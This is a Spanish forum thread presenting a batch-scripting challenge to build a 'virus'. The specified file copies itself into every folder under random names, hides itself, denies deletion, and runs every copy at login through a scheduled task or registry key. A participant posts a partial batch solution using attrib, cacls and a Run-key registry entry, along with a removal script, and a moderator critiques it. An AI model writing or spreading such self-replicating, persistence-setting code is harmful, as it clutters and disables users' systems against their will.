Autor
|
Tema: [Reto Batch] VIRUS HELLO !! (Leído 8,253 veces)
|
Eleкtro
Ex-Staff
Desconectado
Mensajes: 9.885
|
Aquí pueden comentar todo lo que quieran, sus dudas, avances o soluciones acerca del siguiente reto: Reto Nº 13 Nombre: Virus HELLO !! ( Elektro H@cker) Dificultad: 5/10 Objetivo: Crea un bat que cumpla estas funciones: - El bat se debe autocopiar a si mismo en TODAS las carpetas y subcarpetas del PC.
- Cada vez que se crea una copia, La copia debe tener un nombre distinto al Bat original, Un nombre aleatorio, Para que séa más dificil de localizar las copias y eliminarlas.
- Cada copia debe tener el atributo de archivo OCULTO y SOLO LECTURA
- Cada copia debe tener los privilegios de usuario DENEGADOS A LA ELIMINACIÓN para impedir que el archivo se elimine facilmente.
- Se debe crear una taréa programada o una clave de registro en el sistema que ejecute CADA COPIA al iniciar sesión en la cuenta de ese usuario.
- Cada copia solamente debe mostrar un mensaje de ECHO **** y el comando Pause, NO DEBE VOLVER A AUTOCOPIARSE cuando se ejecute la taréa.
- Con lo cual nos quedará un bonito inicio de sesión que ejecutará unas +15.000 copias de un bat dificil de borrar para un usuario novato. PD: La intención de este reto es que aprendan a usar comandos muy importantes!. Indicaciones: Las carpetas que necesiten privilegios de admin no tiene importancia. Pistas: Comandos: SET /?, FOR /? /?, SCHT???S, REG ???, A??RIB, ?CACLS, ????OWN. Ejemplo: Solución: Pedir por mensaje privado
|
|
|
En línea
|
|
|
|
$Edu$
Desconectado
Mensajes: 1.842
|
No podes poner que esos nombres "aleatorios" empiecen con "elektroH" quedando por ejemplo: "elektroH54657.bat" , "elektroH423489.bat" Asi luego haces la continuacion de este reto que seria la vacuna para este virus. Y tambien ayuda para cuando anden probando sus codigos, que se les haria un caos con tantos .bats, y si van programando la vacuna en paralelo, podran eliminar los bats para seguir haciendo pruebas sin "ensuciar" la pc xD
|
|
|
En línea
|
|
|
|
Eleкtro
Ex-Staff
Desconectado
Mensajes: 9.885
|
No podes poner que esos nombres "aleatorios" empiecen con "elektroH" quedando por ejemplo: "elektroH54657.bat" , "elektroH423489.bat" Asi luego haces la continuacion de este reto que seria la vacuna para este virus. Y tambien ayuda para cuando anden probando sus codigos, que se les haria un caos con tantos .bats, y si van programando la vacuna en paralelo, podran eliminar los bats para seguir haciendo pruebas sin "ensuciar" la pc xD
Bueno, Las pruebas se pueden hacer en un directorio que contenga 2 subcarpetas (CD "CARPETA TEST..."), Así no se ensucia. La vacuna sería muy fácil aun con nombres aleatorios, Solo hay que buscar parte del código del bat que hagan con "TYPE + FIND", En todos los bats del pc, Y si encuentra alguna coincidencia pues elimina ese bat con "DEL" XD. Salu2!
|
|
|
En línea
|
|
|
|
79137913
Desconectado
Mensajes: 1.169
4 Esquinas
|
HOLA!!!
Ni a palos hago esto, a no ser que alguien postee la vacuna por que me va a llenar la pc de basura cada testeo que haga.
GRACIAS POR LEER!!!
|
|
|
En línea
|
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!" "La peor de las ignorancias es no saber corregirlas"
79137913 *Shadow Scouts Team*
|
|
|
|
$Edu$
Desconectado
Mensajes: 1.842
|
Ahi va, hay que probar si anda dentro de una carpeta, luego confiarse que andara para todas las carpetas del pc.
Yo en otro tema te pregunte como hacer esto Elektro.. dime si no soy bueno dando ideas implicitas xDDD Algun dia hare los retos para demostrar que no se requiere saber mucho batch para hacer muchas cosas, obviamente que no sera la misma calidad pero resolver se resuelve que es la idea. Digo esto porque algunos se asustan (yo a veces tambien xD) cuando ven codigos que hace Elektro xDD con cosas en otro idioma parece xDD
|
|
|
En línea
|
|
|
|
-- KiLiaN --
Desconectado
Mensajes: 1.163
Ju Já!!
|
challenge accepted!
|
|
|
En línea
|
|
|
|
Eleкtro
Ex-Staff
Desconectado
Mensajes: 9.885
|
Algun dia hare los retos para demostrar que no se requiere saber mucho batch para hacer muchas cosas, Este reto es fácil y Batch también, en menos de 30 lineas se puede simplificar, Y los comandos necesarios ya los dije, vamos! Digo esto porque algunos se asustan (yo a veces tambien xD) cuando ven codigos que hace Elektro xDD con cosas en otro idioma parece xDD Yo nunca me puse una medalla de " Maestro/Genio de Batch" , Que quede claro! xD, Aunque si que considero que conozco el 99% acerca de Batch, Pero cualquiera puede conocerlo a la perfección y hacer buenos codes si lo estudia CON GANAS, No hay demasiado que aprender y en eso tienes razón $Edu$. Salu2.
|
|
|
En línea
|
|
|
|
-- KiLiaN --
Desconectado
Mensajes: 1.163
Ju Já!!
|
Vale con esto? Se me ha roto el pc (creo que murió la gráfica.. , se me apagó de repente y enciende y tal pero ahi se queda..en fin ya lo investigaré..) y ahora mismo sólo dispongo de windows xp en el portatil asique hago lo que puedo..He puesto un principio en el nombre para poder borrarlo con la vacuna con más facilidad. @Echo off Setlocal enabledelayedexpansion Color 02 :: -- KiLiaN -- Echo Foro.elhacker.net -^> reto Batch Numero 13
For /D /R %%i in (*) do (cd %%i & if exist kln*.bat (Echo ** & pause & exit /B) else ( set var=kln%random%.bat Echo Echo ***> !var! Echo pause>>!var! attrib +r +h !var! cacls !var! /E /P %USERNAME%:N>nul reg Add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Reto!var!" /d "start /w %%i\!var!" /F)) PD: He previsualizado y veo que el código sale con mas cosas asique el la variable %USERNAME% y el nombre del registro hay que cambiarlos cuando lo copieis..
Aqui mi vacuna, el registro lo limpio con ccleaner o con msconfig que solo hay que seleccionar y pulsar suprimir xD color 02 :: By -- KiLiaN -- Echo Foro.elhacker.net - ^> Vacuna para el reto Batch Numero 13 Cacls kln*.bat /E /P %USERNAME%:F Attrib -r -h kln*.bat
|
|
« Última modificación: 11 Mayo 2012, 13:40 pm por EleKtro H@cker »
|
En línea
|
|
|
|
Eleкtro
Ex-Staff
Desconectado
Mensajes: 9.885
|
Vale con esto? No puedo aceptar la solución, Hay errores importantes: > Si la variable contiene espacios no podrás acceder a esa carpeta > El número aleatorio no cambia de valor, siempre será el mismo. (Dejo que averigues el porqué ) cacls !var! /E /P %USERNAME%:N>nul > las copias no van a funcionar al ejecutarse windows porque le has quitado el derecho de lectura (Bueno, le has quitado todos). Saludos
|
|
|
En línea
|
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
[Reto Batch] Jugando con la IP I
« 1 2 »
Scripting
|
Eleкtro
|
10
|
7,051
|
10 Mayo 2012, 17:24 pm
por 79137913
|
|
|
[Reto Batch] It's a dir?
« 1 2 3 4 »
Scripting
|
Eleкtro
|
30
|
20,654
|
31 Marzo 2014, 18:13 pm
por Shell Root
|
|
|
[Reto Batch] Hex2Dec Batch Command
« 1 2 »
Scripting
|
BatchianoISpyxolo
|
15
|
8,750
|
22 Julio 2012, 06:00 am
por Binary_Death
|
|
|
[Reto Batch] Variaciones con repetición,con 26 elementos [abecedario inglés]
Scripting
|
Eleкtro
|
9
|
7,373
|
17 Julio 2012, 19:16 pm
por Binary_Death
|
|
|
[Reto Batch]Edad lunar
Scripting
|
Binary_Death
|
2
|
3,478
|
9 Julio 2012, 23:45 pm
por Binary_Death
|
|